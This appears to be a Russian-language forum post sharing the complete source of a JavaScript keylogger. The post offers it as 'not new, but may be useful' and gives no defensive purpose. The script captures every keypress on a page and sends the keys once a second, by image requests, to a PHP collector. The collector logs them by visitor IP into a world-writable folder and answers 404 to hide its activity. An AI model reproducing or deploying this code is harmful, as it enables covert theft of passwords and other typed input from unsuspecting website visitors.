JS Keylogger
Создать папку
файл
файл
файл
Не ново
но может пригодится
Создать папку
data дать ей права 777файл
img.js
Код:
var keys='';
var url = 'img.php?c=';
document.onkeypress = function(e) {
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode;
key = String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
if(keys.length>0) {
new Image().src = url+keys;
keys = '';
}
}, 1000);
файл
img.php
PHP:
<?php
header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
header('Access-Control-Allow-Methods: GET, REQUEST, OPTIONS');
header('Access-Control-Allow-Credentials: true');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Content-Type, *');
$file = 'data/'.$_SERVER['REMOTE_ADDR'].'_data.txt';
if(isset($_REQUEST['c']) && !empty($_REQUEST['c']))
{
file_put_contents($file,$_REQUEST['c'], FILE_APPEND);
}
?>
test.html
HTML:
<html>
<head></head>
<body>
<script src="img.js"></script>
<input></input>
</body>
</html>